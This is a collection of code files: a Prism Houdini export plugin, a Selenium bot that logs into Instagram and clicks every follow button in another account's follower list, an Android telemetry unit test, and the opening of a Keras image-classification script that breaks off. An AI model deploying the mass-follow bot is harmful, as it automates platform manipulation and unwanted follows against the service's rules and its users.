self.f_cam.setVisible(False)\n self.w_sCamShot.setVisible(False)\n self.f_taskName.setVisible(True)\n self.f_status.setVisible(True)\n self.f_connect.setVisible(True)\n self.f_frameRange.setVisible(True)\n self.w_frameRangeValues.setVisible(True)\n self.f_convertExport.setVisible(True)\n if self.cb_manager.count() > 0:\n self.gb_submit.setVisible(True)\n if (\n self.node is None\n or self.node.type().name() not in [\"Redshift_Proxy_Output\", \"wedge\"]\n ) and createMissing:\n self.createNode()\n elif idx == \"ShotCam\":\n self.f_cam.setVisible(True)\n self.w_sCamShot.setVisible(True)\n self.f_taskName.setVisible(False)\n self.f_status.setVisible(False)\n self.f_connect.setVisible(False)\n self.f_frameRange.setVisible(True)\n self.w_frameRangeValues.setVisible(True)\n self.f_convertExport.setVisible(True)\n self.gb_submit.setVisible(False)\n elif idx == \"other\":\n self.f_cam.setVisible(False)\n self.w_sCamShot.setVisible(False)\n self.f_taskName.setVisible(True)\n self.f_status.setVisible(True)\n self.f_connect.setVisible(True)\n self.f_frameRange.setVisible(True)\n self.w_frameRangeValues.setVisible(True)\n self.f_convertExport.setVisible(True)\n if self.cb_manager.count() > 0:\n self.gb_submit.setVisible(True)\n\n import CreateItem\n\n typeWin = CreateItem.CreateItem(core=self.core)\n typeWin.setModal(True)\n self.core.parentWindow(typeWin)\n typeWin.setWindowTitle(\"Outputtype\")\n typeWin.l_item.setText(\"Outputtype:\")\n typeWin.exec_()\n\n if hasattr(typeWin, \"itemName\"):\n if self.cb_outType.findText(typeWin.itemName) == -1:\n self.cb_outType.insertItem(\n self.cb_outType.count() - 1, typeWin.itemName\n )\n\n if typeWin.itemName == \"other\":\n self.cb_outType.setCurrentIndex(0)\n else:\n self.cb_outType.setCurrentIndex(\n self.cb_outType.findText(typeWin.itemName)\n )\n\n else:\n self.cb_outType.setCurrentIndex(0)\n\n if (\n self.node is None\n or self.node.type().name()\n in [\n \"rop_alembic\",\n \"rop_fbx\",\n \"alembic\",\n \"pixar::usdrop\",\n \"usd\",\n \"Redshift_Proxy_Output\",\n ]\n ) and createMissing and not self.isPrismFilecacheNode(self.node):\n self.createNode()\n\n else:\n self.f_cam.setVisible(False)\n self.w_sCamShot.setVisible(False)\n self.f_taskName.setVisible(True)\n self.f_status.setVisible(True)\n self.f_connect.setVisible(True)\n self.f_frameRange.setVisible(True)\n self.w_frameRangeValues.setVisible(True)\n self.f_convertExport.setVisible(True)\n if self.cb_manager.count() > 0:\n self.gb_submit.setVisible(True)\n if (\n self.node is None\n or self.node.type().name()\n in [\n \"rop_alembic\",\n \"rop_fbx\",\n \"alembic\",\n \"pixar::usdrop\",\n \"usd\",\n \"Redshift_Proxy_Output\",\n ]\n ) and createMissing and not self.isPrismFilecacheNode(self.node):\n self.createNode()\n\n self.rjToggled()\n self.updateUi()\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def goToNode(self):\n try:\n self.node.name()\n except:\n self.createNode()\n\n try:\n self.node.name()\n except:\n self.updateUi()\n return False\n\n self.node.setCurrent(True, clear_all_selected=True)\n paneTab = hou.ui.paneTabOfType(hou.paneTabType.NetworkEditor)\n if paneTab is not None:\n paneTab.setCurrentNode(self.node)\n paneTab.homeToSelection()\n\n @err_catcher(name=__name__)\n def connectNode(self, node=None):\n if node is None:\n if len(hou.selectedNodes()) == 0:\n return False\n\n node = hou.selectedNodes()[0]\n\n typeName = node.type().name()\n if (\n typeName\n in [\n \"rop_geometry\",\n \"rop_dop\",\n \"rop_comp\",\n \"rop_alembic\",\n \"rop_fbx\",\n \"filecache\",\n \"pixar::usdrop\",\n \"usd\",\n \"Redshift_Proxy_Output\",\n \"prism::Filecache::1.0\",\n ]\n or (\n node.type().category().name() == \"Driver\"\n and typeName in [\"geometry\", \"alembic\", \"wedge\"]\n )\n ):\n self.node = node\n\n extension = \"\"\n if typeName in self.nodeTypes:\n outVal = self.node.parm(self.nodeTypes[typeName][\"outputparm\"]).eval()\n\n if typeName in [\n \"rop_dop\",\n \"rop_comp\",\n \"rop_alembic\",\n \"rop_fbx\",\n \"pixar::usdrop\",\n \"usd\",\n \"Redshift_Proxy_Output\",\n ]:\n extension = os.path.splitext(outVal)[1]\n elif typeName in [\"rop_geometry\", \"filecache\"]:\n if outVal.endswith(\".bgeo.sc\"):\n extension = \".bgeo.sc\"\n else:\n extension = os.path.splitext(outVal)[1]\n elif typeName in [\"prism::Filecache::1.0\"]:\n extension = node.parm(\"format\").evalAsString()\n\n elif (\n typeName == \"geometry\"\n and self.node.type().category().name() == \"Driver\"\n ):\n if outVal.endswith(\".bgeo.sc\"):\n extension = \".bgeo.sc\"\n else:\n extension = os.path.splitext(outVal)[1]\n elif (\n typeName == \"alembic\" and self.node.type().category().name() == \"Driver\"\n ):\n extension = os.path.splitext(outVal)[1]\n elif typeName == \"wedge\" and self.node.type().category().name() == \"Driver\":\n rop = self.getWedgeROP(self.node)\n if rop:\n extension = os.path.splitext(\n self.nodeTypes[rop.type().name()][\"outputparm\"]\n )[1]\n else:\n extension = \".bgeo.sc\"\n\n if self.cb_outType.findText(extension) != -1:\n self.cb_outType.setCurrentIndex(self.cb_outType.findText(extension))\n self.typeChanged(self.cb_outType.currentText(), createMissing=False)\n\n self.nameChanged(self.e_name.text())\n self.updateUi()\n self.stateManager.saveStatesToScene()\n return True\n\n return False\n\n @err_catcher(name=__name__)\n def getWedgeROP(self, wedge):\n if wedge.inputs():\n return wedge.inputs()[0]\n else:\n node = hou.node(wedge.parm(\"driver\").eval())\n if node.type().name() in self.nodeTypes:\n return node\n\n @err_catcher(name=__name__)\n def startChanged(self):\n if self.sp_rangeStart.value() > self.sp_rangeEnd.value():\n self.sp_rangeEnd.setValue(self.sp_rangeStart.value())\n\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def endChanged(self):\n if self.sp_rangeEnd.value() < self.sp_rangeStart.value():\n self.sp_rangeStart.setValue(self.sp_rangeEnd.value())\n\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def useTakeChanged(self, state):\n self.cb_take.setEnabled(state)\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def rjToggled(self, checked=None):\n if checked is None:\n checked = self.gb_submit.isChecked()\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def managerChanged(self, text=None):\n if self.cb_manager.currentText() in self.core.rfManagers:\n self.core.rfManagers[self.cb_manager.currentText()].sm_houExport_activated(\n self\n )\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def openSlaves(self):\n try:\n del sys.modules[\"SlaveAssignment\"]\n except:\n pass\n\n import SlaveAssignment\n\n self.sa = SlaveAssignment.SlaveAssignment(\n core=self.core, curSlaves=self.e_osSlaves.text()\n )\n result = self.sa.exec_()\n\n if result == 1:\n selSlaves = \"\"\n if self.sa.rb_exclude.isChecked():\n selSlaves = \"exclude \"\n if self.sa.rb_all.isChecked():\n selSlaves += \"All\"\n elif self.sa.rb_group.isChecked():\n selSlaves += \"groups: \"\n for i in self.sa.activeGroups:\n selSlaves += i + \", \"\n\n if selSlaves.endswith(\", \"):\n selSlaves = selSlaves[:-2]\n\n elif self.sa.rb_custom.isChecked():\n slavesList = [x.text() for x in self.sa.lw_slaves.selectedItems()]\n for i in slavesList:\n selSlaves += i + \", \"\n\n if selSlaves.endswith(\", \"):\n selSlaves = selSlaves[:-2]\n\n self.e_osSlaves.setText(selSlaves)\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def preDelete(self, item, silent=False):\n self.core.appPlugin.sm_preDelete(self, item, silent)\n\n @err_catcher(name=__name__)\n def preExecuteState(self):\n warnings = []\n\n if self.cb_outType.currentText() == \"ShotCam\":\n if self.curCam is None:\n warnings.append([\"No camera specified.\", \"\", 3])\n else:\n if self.l_taskName.text() == \"\":\n warnings.append([\"No taskname is given.\", \"\", 3])\n\n try:\n self.node.name()\n except:\n warnings.append([\"Node is invalid.\", \"\", 3])\n\n rangeType = self.cb_rangeType.currentText()\n startFrame, endFrame = self.getFrameRange(rangeType)\n\n if startFrame is None:\n warnings.append([\"Framerange is invalid.\", \"\", 3])\n\n if not hou.simulationEnabled():\n warnings.append([\"Simulations are disabled.\", \"\", 2])\n\n if not self.gb_submit.isHidden() and self.gb_submit.isChecked():\n warnings += self.core.rfManagers[\n self.cb_manager.currentText()\n ].sm_houExport_preExecute(self)\n\n return [self.state.text(0), warnings]\n\n @err_catcher(name=__name__)\n def getOutputName(self, useVersion=\"next\"):\n fileName = self.core.getCurrentFileName()\n fnameData = self.core.getScenefileData(fileName)\n location = self.cb_outPath.currentText()\n version = useVersion if useVersion != \"next\" else None\n\n if \"entityName\" not in fnameData:\n return\n\n if self.cb_outType.currentText() == \"ShotCam\":\n shot = self.cb_sCamShot.currentText()\n task = \"_ShotCam\"\n comment = fnameData[\"comment\"]\n\n outputPath = self.core.products.generateProductPath(\n entity=\"shot\",\n entityName=shot,\n task=task,\n extension=\"\",\n comment=comment,\n version=version,\n location=location\n )\n else:\n task = self.l_taskName.text()\n if not task:\n return\n\n # version = (\n # (hVersion + \"-wedge`$WEDGENUM`\")\n # if self.node and self.node.type().name() == \"wedge\"\n # else hVersion\n # )\n\n rangeType = self.cb_rangeType.currentText()\n if self.isPrismFilecacheNode(self.node):\n if self.core.appPlugin.filecache.isSingleFrame(self.node):\n rangeType = \"Single Frame\"\n\n framePadding = \".$F4\" if rangeType != \"Single Frame\" else \"\"\n extension = self.cb_outType.currentText()\n\n if fnameData[\"entity\"] == \"asset\":\n assetPath = self.core.getEntityBasePath(fileName)\n entityName = self.core.entities.getAssetRelPathFromPath(assetPath)\n else:\n entityName = fnameData[\"entityName\"]\n\n outputPath = self.core.products.generateProductPath(\n entity=fnameData[\"entity\"],\n entityName=entityName,\n task=task,\n extension=extension,\n framePadding=framePadding,\n comment=fnameData[\"comment\"],\n version=version,\n location=location\n )\n\n outputPath = outputPath.replace(\"\\\\\", \"/\")\n outputFolder = os.path.dirname(outputPath)\n hVersion = self.core.products.getVersionFromFilepath(outputPath)\n\n return outputPath, outputFolder, hVersion\n\n @err_catcher(name=__name__)\n def executeState(self, parent, useVersion=\"next\"):\n rangeType = self.cb_rangeType.currentText()\n startFrame, endFrame = self.getFrameRange(rangeType)\n if startFrame is None:\n return [self.state.text(0) + \": error - Framerange is invalid\"]\n\n if rangeType == \"Single Frame\":\n endFrame = startFrame\n\n if self.cb_outType.currentText() == \"ShotCam\":\n if self.curCam is None:\n return [\n self.state.text(0)\n + \": error - No camera specified. Skipped the activation of this state.\"\n ]\n\n if self.cb_sCamShot.currentText() == \"\":\n return [\n self.state.text(0)\n + \": error - No Shot specified. Skipped the activation of this state.\"\n ]\n\n fileName = self.core.getCurrentFileName()\n\n outputName, outputPath, hVersion = self.getOutputName(useVersion=useVersion)\n\n outLength = len(outputName)\n if platform.system() == \"Windows\" and outLength > 255:\n return [\n self.state.text(0)\n + \" - error - The outputpath is longer than 255 characters (%s), which is not supported on Windows. Please shorten the outputpath by changing the comment, taskname or projectpath.\"\n % outLength\n ]\n\n if not os.path.exists(outputPath):\n os.makedirs(outputPath)\n\n kwargs = {\n \"state\": self,\n \"scenefile\": fileName,\n \"startframe\": startFrame,\n \"endframe\": endFrame,\n \"outputpath\": outputName,\n }\n\n result = self.core.callback(\"preExport\", **kwargs)\n for res in result:\n if res and \"outputName\" in res:\n outputName = res[\"outputName\"]\n\n outputPath = os.path.dirname(outputName)\n infoPath = self.core.products.getVersionInfoPathFromProductFilepath(outputName)\n self.core.saveVersionInfo(\n location=infoPath,\n version=hVersion,\n origin=fileName,\n fps=startFrame != endFrame,\n )\n\n if self.chb_convertExport.isChecked():\n inputCons = self.curCam.inputConnections()\n if (\n len(inputCons) > 0\n and inputCons[0].inputNode().type().name() == \"null\"\n and inputCons[0].inputNode().name() == \"SCALEOVERRIDE\"\n ):\n transformNode = inputCons[0].inputNode()\n else:\n transformNode = self.curCam.createInputNode(\n 0, \"null\", \"SCALEOVERRIDE\"\n )\n for i in inputCons:\n transformNode.setInput(0, i.inputNode(), i.inputIndex())\n\n abc_rop = self.core.appPlugin.createRop(\"alembic\")\n\n abc_rop.parm(\"trange\").set(1)\n abc_rop.parm(\"f1\").set(startFrame)\n abc_rop.parm(\"f2\").set(endFrame)\n abc_rop.parm(\"filename\").set(outputName + \".abc\")\n abc_rop.parm(\"root\").set(self.curCam.parent().path())\n abc_rop.parm(\"objects\").set(self.curCam.name())\n\n fbx_rop = self.core.appPlugin.createRop(\"filmboxfbx\")\n fbx_rop.parm(\"sopoutput\").set(outputName + \".fbx\")\n fbx_rop.parm(\"startnode\").set(self.curCam.path())\n\n for node in [abc_rop, fbx_rop]:\n if self.chb_useTake.isChecked():\n pTake = self.cb_take.currentText()\n takeLabels = [\n x.strip() for x in self.node.parm(\"take\").menuLabels()\n ]\n if pTake in takeLabels:\n idx = takeLabels.index(pTake)\n if idx != -1:\n token = self.node.parm(\"take\").menuItems()[idx]\n if not self.core.appPlugin.setNodeParm(\n self.node, \"take\", val=token\n ):\n return [\n self.state.text(0) + \": error - Publish canceled\"\n ]\n else:\n return [\n self.state.text(0)\n + \": error - take '%s' doesn't exist.\" % pTake\n ]\n\n abc_rop.render()\n fbx_rop.render(frame_range=(startFrame, endFrame))\n\n if self.chb_convertExport.isChecked():\n transformNode.parm(\"scale\").set(100)\n\n outputName = os.path.join(\n os.path.dirname(os.path.dirname(outputName)),\n \"centimeter\",\n os.path.basename(outputName),\n )\n if not os.path.exists(os.path.dirname(outputName)):\n os.makedirs(os.path.dirname(outputName))\n\n abc_rop.parm(\"filename\").set(outputName + \".abc\")\n abc_rop.render()\n fbx_rop.parm(\"sopoutput\").set(outputName + \".fbx\")\n fbx_rop.render(frame_range=(startFrame, endFrame))\n\n transformNode.destroy()\n\n abc_rop.destroy()\n fbx_rop.destroy()\n\n self.l_pathLast.setText(outputName)\n self.l_pathLast.setToolTip(outputName)\n self.b_openLast.setEnabled(True)\n self.b_copyLast.setEnabled(True)\n\n useMaster = self.core.getConfig(\"globals\", \"useMasterVersion\", dft=False, config=\"project\")\n if useMaster:\n self.core.products.updateMasterVersion(outputName)\n\n kwargs = {\n \"state\": self,\n \"scenefile\": fileName,\n \"startframe\": startFrame,\n \"endframe\": endFrame,\n \"outputpath\": outputName,\n }\n\n self.core.callback(\"postExport\", **kwargs)\n\n self.stateManager.saveStatesToScene()\n\n if os.path.exists(outputName + \".abc\") and os.path.exists(\n outputName + \".fbx\"\n ):\n return [self.state.text(0) + \" - success\"]\n else:\n return [self.state.text(0) + \" - error\"]\n\n else:\n if self.l_taskName.text() == \"\":\n return [\n self.state.text(0)\n + \": error - No taskname is given. Skipped the activation of this state.\"\n ]\n\n try:\n self.node.name()\n except:\n return [\n self.state.text(0)\n + \": error - Node is invalid. Skipped the activation of this state.\"\n ]\n\n if (\n not (\n self.node.isEditable()\n or (\n self.node.type().name() in [\"filecache\", \"wedge\", \"prism::Filecache::1.0\"]\n and self.node.isEditableInsideLockedHDA()\n )\n )\n ):\n return [\n self.state.text(0)\n + \": error - Node is locked. Skipped the activation of this state.\"\n ]\n\n if self.node.type().name() == \"wedge\":\n ropNode = self.getWedgeROP(self.node)\n if not ropNode:\n return [\n self.state.text(0)\n + \": error - No valid ROP is connected to the Wedge node. Skipped the activation of this state.\"\n ]\n else:\n ropNode = self.node\n\n fileName = self.core.getCurrentFileName()\n\n outputName, outputPath, hVersion = self.getOutputName(useVersion=useVersion)\n\n outLength = len(outputName)\n if platform.system() == \"Windows\" and outLength > 255:\n return [\n self.state.text(0)\n + \" - error - The outputpath is longer than 255 characters (%s), which is not supported on Windows. Please shorten the outputpath by changing the comment, taskname or projectpath.\"\n % outLength\n ]\n\n if self.cb_outType.currentText() in [\".abc\", \".fbx\", \".usd\"]:\n outputName = outputName.replace(\".$F4\", \"\")\n\n api = self.core.appPlugin.getApiFromNode(self.node)\n isStart = ropNode.parm(\"f1\").eval() == startFrame\n isEnd = ropNode.parm(\"f2\").eval() == endFrame\n\n if not api:\n if not self.core.appPlugin.setNodeParm(ropNode, \"trange\", val=1):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if not (api and isStart):\n if not self.core.appPlugin.setNodeParm(ropNode, \"f1\", clear=True):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if not self.core.appPlugin.setNodeParm(ropNode, \"f1\", val=startFrame):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if not (api and isEnd):\n if not self.core.appPlugin.setNodeParm(ropNode, \"f2\", clear=True):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if not self.core.appPlugin.setNodeParm(ropNode, \"f2\", val=endFrame):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if ropNode.type().name() in [\n \"rop_geometry\",\n \"rop_alembic\",\n \"rop_dop\",\n \"geometry\",\n \"filecache\",\n \"alembic\",\n ] and self.initsim:\n if not self.core.appPlugin.setNodeParm(\n ropNode, \"initsim\", val=True\n ):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if self.chb_useTake.isChecked():\n pTake = self.cb_take.currentText()\n takeLabels = [x.strip() for x in ropNode.parm(\"take\").menuLabels()]\n if pTake in takeLabels:\n idx = takeLabels.index(pTake)\n if idx != -1:\n token = ropNode.parm(\"take\").menuItems()[idx]\n if not self.core.appPlugin.setNodeParm(\n ropNode, \"take\", val=token\n ):\n return [\n self.state.text(0) + \": error - Publish canceled\"\n ]\n else:\n return [\n self.state.text(0)\n + \": error - take '%s' doesn't exist.\" % pTake\n ]\n\n expandedOutputPath = hou.expandString(outputPath)\n expandedOutputName = hou.expandString(outputName)\n if not os.path.exists(expandedOutputPath):\n os.makedirs(expandedOutputPath)\n\n kwargs = {\n \"state\": self,\n \"scenefile\": fileName,\n \"startframe\": startFrame,\n \"endframe\": endFrame,\n \"outputpath\": expandedOutputName,\n }\n\n self.core.callback(\"preExport\", **kwargs)\n\n infoPath = self.core.products.getVersionInfoPathFromProductFilepath(expandedOutputName)\n self.core.saveVersionInfo(\n location=infoPath,\n version=hVersion,\n origin=fileName,\n fps=startFrame != endFrame,\n )\n\n outputNames = [outputName]\n if (\n not self.chb_convertExport.isHidden()\n and self.chb_convertExport.isChecked()\n ):\n inputCons = ropNode.inputConnections()\n if (\n len(inputCons) > 0\n and inputCons[0].inputNode().type().name() == \"xform\"\n and inputCons[0].inputNode().name() == \"SCALEOVERRIDE\"\n ):\n transformNode = inputCons[0].inputNode()\n else:\n transformNode = ropNode.createInputNode(0, \"xform\", \"SCALEOVERRIDE\")\n for i in inputCons:\n transformNode.setInput(0, i.inputNode(), i.inputIndex())\n\n outputNames.append(\n os.path.join(\n os.path.dirname(os.path.dirname(expandedOutputName)),\n \"centimeter\",\n os.path.basename(expandedOutputName),\n )\n )\n if not os.path.exists(os.path.dirname(outputNames[1])):\n os.makedirs(os.path.dirname(outputNames[1]))\n\n self.l_pathLast.setText(outputNames[0])\n self.l_pathLast.setToolTip(outputNames[0])\n self.b_openLast.setEnabled(True)\n self.b_copyLast.setEnabled(True)\n\n self.stateManager.saveStatesToScene()\n updateMaster = True\n\n for idx, outputName in enumerate(outputNames):\n outputName = outputName.replace(\"\\\\\", \"/\")\n expandedOutputName = hou.expandString(outputName)\n parmName = False\n\n if ropNode.type().name() in self.nodeTypes:\n parmName = self.nodeTypes[ropNode.type().name()][\"outputparm\"]\n\n if parmName != False:\n self.stateManager.publishInfos[\"updatedExports\"][\n ropNode.parm(parmName).unexpandedString()\n ] = outputName\n\n if not self.core.appPlugin.setNodeParm(\n ropNode, parmName, val=outputName\n ):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if self.isPrismFilecacheNode(self.node):\n if self.node.parm(\"saveScene\").eval():\n hou.hipFile.save()\n else:\n hou.hipFile.save()\n\n if idx == 1:\n if not self.core.appPlugin.setNodeParm(\n transformNode, \"scale\", val=100\n ):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if not self.gb_submit.isHidden() and self.gb_submit.isChecked():\n result = self.core.rfManagers[\n self.cb_manager.currentText()\n ].sm_render_submitJob(self, outputName, parent)\n else:\n try:\n result = self.executeNode()\n if result:\n if result == \"background\":\n updateMaster = False\n\n if result == \"background\" or len(os.listdir(os.path.dirname(expandedOutputName))) > 0:\n result = \"Result=Success\"\n else:\n result = \"unknown error (files do not exist)\"\n\n except Exception as e:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n erStr = \"%s ERROR - houExport %s:\\n%s\" % (\n time.strftime(\"%d/%m/%y %X\"),\n self.core.version,\n traceback.format_exc(),\n )\n self.core.writeErrorLog(erStr)\n\n return [\n self.state.text(0)\n + \" - unknown error (view console for more information)\"\n ]\n\n if idx == 1:\n if not self.core.appPlugin.setNodeParm(transformNode, \"scale\", val=1):\n return [self.state.text(0) + \": error - Publish canceled\"]\n\n if updateMaster:\n useMaster = self.core.getConfig(\"globals\", \"useMasterVersion\", dft=False, config=\"project\")\n if useMaster:\n self.core.products.updateMasterVersion(expandedOutputName)\n\n kwargs = {\n \"state\": self,\n \"scenefile\": fileName,\n \"startframe\": startFrame,\n \"endframe\": endFrame,\n \"outputpath\": expandedOutputName,\n }\n\n self.core.callback(\"postExport\", **kwargs)\n\n if \"Result=Success\" in result:\n return [self.state.text(0) + \" - success\"]\n else:\n erStr = \"%s ERROR - houExportPublish %s:\\n%s\" % (\n time.strftime(\"%d/%m/%y %X\"),\n self.core.version,\n result,\n )\n if result == \"unknown error (files do not exist)\":\n QMessageBox.warning(\n self.core.messageParent,\n \"Warning\",\n \"No files were created during the rendering. If you think this is a Prism bug please report it in the forum:\\nwww.prism-pipeline.com/forum/\\nor write a mail to contact@prism-pipeline.com\",\n )\n elif not result.startswith(\n \"Execute Canceled\"\n ) and not result.startswith(\"Execute failed\"):\n self.core.writeErrorLog(erStr)\n return [self.state.text(0) + \" - error - \" + result]\n\n @err_catcher(name=__name__)\n def executeNode(self):\n result = True\n if self.isPrismFilecacheNode(self.node):\n result = self.core.appPlugin.filecache.executeNode(self.node)\n else:\n self.node.parm(\"execute\").pressButton()\n\n errs = self.node.errors()\n if len(errs) > 0:\n errs = \"\\n\" + \"\\n\\n\".join(errs)\n erStr = \"%s ERROR - houExportnode %s:\\n%s\" % (\n time.strftime(\"%d/%m/%y %X\"),\n self.core.version,\n errs,\n )\n result = \"Execute failed: \" + errs\n\n return result\n\n @err_catcher(name=__name__)\n def getStateProps(self):\n outputTypes = []\n for i in range(self.cb_outType.count()):\n outputTypes.append(str(self.cb_outType.itemText(i)))\n\n try:\n curNode = self.node.path()\n self.node.setUserData(\"PrismPath\", curNode)\n except:\n curNode = None\n\n self.curCam\n try:\n curCam = self.curCam.name()\n except:\n curCam = None\n\n stateProps = {\n \"statename\": self.e_name.text(),\n \"taskname\": self.l_taskName.text(),\n \"rangeType\": str(self.cb_rangeType.currentText()),\n \"startframe\": self.sp_rangeStart.value(),\n \"endframe\": self.sp_rangeEnd.value(),\n \"usetake\": str(self.chb_useTake.isChecked()),\n \"take\": self.cb_take.currentText(),\n \"curoutputpath\": self.cb_outPath.currentText(),\n \"outputtypes\": str(outputTypes),\n \"curoutputtype\": self.cb_outType.currentText(),\n \"connectednode\": curNode,\n \"unitconvert\": str(self.chb_convertExport.isChecked()),\n \"submitrender\": str(self.gb_submit.isChecked()),\n \"rjmanager\": str(self.cb_manager.currentText()),\n \"rjprio\": self.sp_rjPrio.value(),\n \"rjframespertask\": self.sp_rjFramesPerTask.value(),\n \"rjtimeout\": self.sp_rjTimeout.value(),\n \"rjsuspended\": str(self.chb_rjSuspended.isChecked()),\n \"osdependencies\": str(self.chb_osDependencies.isChecked()),\n \"osupload\": str(self.chb_osUpload.isChecked()),\n \"ospassets\": str(self.chb_osPAssets.isChecked()),\n \"osslaves\": self.e_osSlaves.text(),\n \"curdlgroup\": self.cb_dlGroup.currentText(),\n \"currentcam\": str(curCam),\n \"currentscamshot\": self.cb_sCamShot.currentText(),\n \"lastexportpath\": self.l_pathLast.text().replace(\"\\\\\", \"/\"),\n \"stateenabled\": str(self.state.checkState(0)),\n }\n\n return stateProps\n","repo_name":"RichardFrangenberg/Prism","sub_path":"Prism/Plugins/Apps/Houdini/Scripts/StateManagerNodes/hou_Export.py","file_name":"hou_Export.py","file_ext":"py","file_size_in_byte":59378,"program_lang":"python","lang":"en","doc_type":"code","stars":267,"dataset":"github-code","pt":"52"} +{"seq_id":"9705924878","text":"import selenium\nfrom selenium import webdriver\nfrom selenium.common.exceptions import ElementClickInterceptedException, NoSuchElementException, TimeoutException\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nimport time\nimport os\n\nINSTA_EMAIL = os.environ[\"EMAIL\"]\nINSTA_PASS = os.environ[\"PASSWORD\"]\nSIMILAR_ACCOUNT_EN = \"data.science.beginners\"\nSIMILAR_ACCOUNT_VI = \"thepresentwriter\"\n\nchrome_options = Options()\nchrome_options.add_experimental_option(\"detach\", True)\n\nclass InstaFollower():\n def __init__(self):\n self.driver =webdriver.Chrome(service=Service(ChromeDriverManager().install()),options=chrome_options)\n\n def log_in(self):\n self.driver.get(\"https://www.instagram.com/accounts/login/\")\n cookies = self.driver.find_element(By.XPATH,'/html/body/div[4]/div/div/button[1]')\n cookies.click()\n time.sleep(5)\n\n user_name = self.driver.find_element(By.XPATH,'/html/body/div[1]/section/main/div/div/div[1]/div[2]/form/div/div[1]/div/label/input')\n user_name.send_keys(INSTA_EMAIL)\n\n password = self.driver.find_element(By.XPATH,'/html/body/div[1]/section/main/div/div/div[1]/div[2]/form/div/div[2]/div/label/input')\n password.send_keys(INSTA_PASS)\n\n log_in = self.driver.find_element(By.XPATH,'/html/body/div[1]/section/main/div/div/div[1]/div[2]/form/div/div[3]/button/div')\n log_in.click()\n\n time.sleep(10)\n no_save = self.driver.find_element(By.XPATH,'/html/body/div[1]/div/div/div/div[1]/div/div/div/div[1]/section/main/div/div/div/div/button')\n no_save.click()\n\n time.sleep(5)\n no_notif = self.driver.find_element(By.XPATH,'/html/body/div[1]/div/div/div/div[2]/div/div/div[1]/div/div[2]/div/div/div/div/div[2]/div/div/div[3]/button[2]')\n no_notif.click()\n def find_followers(self):\n self.driver.get(f\"https://www.instagram.com/{SIMILAR_ACCOUNT_VI}/\")\n main_page = self.driver.current_window_handle\n time.sleep(10)\n followers = self.driver.find_element(By.XPATH,'/html/body/div[1]/div/div/div/div[1]/div/div/div/div[1]/section/main/div/header/section/ul/li[2]/a')\n followers.click()\n\n for handle in self.driver.window_handles:\n if handle!= main_page:\n popup = handle\n self.driver.switch_to.window(popup)\n time.sleep(5)\n ## scroll from the top to the element height and load all the followers\n for _ in range(25):\n time.sleep(2)\n scroll = self.driver.find_element(By.XPATH,'/html/body/div[1]/div/div/div/div[2]/div/div/div[1]/div/div[2]/div/div/div/div/div[2]/div/div/div[2]')\n self.driver.execute_script(\"arguments[0].scrollTop = arguments[0].scrollHeight\", scroll)\n\n\n def follow(self):\n follow_buttons = self.driver.find_elements(By.CSS_SELECTOR,\"._acas\")\n for button in follow_buttons:\n time.sleep(1)\n self.driver.execute_script(\"arguments[0].click();\", button)\n\n\nbot = InstaFollower()\nbot.log_in()\nbot.find_followers()\nbot.follow()\n","repo_name":"LinhHoang2812/Instagram-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12508619735","text":"import collections\nimport mock\nimport unittest\n\nfrom telemetry.internal.backends import android_app_backend\nfrom devil.android.sdk import intent as intent_module\n\n_FakeAndroidProcess = collections.namedtuple('AndroidProcess',\n ['app_backend', 'pid', 'name'])\n\n\nclass AndroidAppBackendUnittest(unittest.TestCase):\n\n def setUp(self):\n self.platform_backend = mock.Mock()\n self.start_intent = intent_module.Intent(\n package='com.example.my_app', activity='com.example.my_app.LaunchMyApp')\n self.app_backend = android_app_backend.AndroidAppBackend(\n self.platform_backend, self.start_intent)\n\n @mock.patch('telemetry.internal.backends.android_app_backend'\n '.android_process.AndroidProcess', _FakeAndroidProcess)\n def testGetProcesses(self):\n # Only processes belonging to 'com.example.my_app' should match.\n self.platform_backend.GetPsOutput.return_value = [\n ['1111', 'com.example.my_app'],\n ['2222', 'com.example.my_appointments_helper'],\n ['3333', 'com.example.my_app:service'],\n ['4444', 'com.example.some_other_app'],\n ['5555', 'com_example_my_app'],\n ]\n process_pids = set(p.pid for p in self.app_backend.GetProcesses())\n self.assertEquals(process_pids, set(['1111', '3333']))\n","repo_name":"kiwibrowser/src","sub_path":"third_party/catapult/telemetry/telemetry/internal/backends/android_app_backend_unittest.py","file_name":"android_app_backend_unittest.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":2475,"dataset":"github-code","pt":"52"} +{"seq_id":"14376786901","text":"# -*- coding: utf-8 -*-\n\nfrom keras.models import Sequential\nfrom keras.optimizers import SGD\nfrom keras.layers import Input, Dense, Convolution2D, MaxPooling2D, AveragePooling2D, ZeroPadding2D, Dropout, Flatten, merge, Reshape, Activation\n\nfrom sklearn.metrics import log_loss\n\nimport numpy as np\nfrom skimage import color, exposure, transform\n\nfrom skimage import io\nimport os\nimport glob\n\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nimport pickle\nfrom sklearn.model_selection import StratifiedKFold\nfrom keras.applications.vgg16 import VGG16, preprocess_input\nfrom keras.preprocessing import image\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, 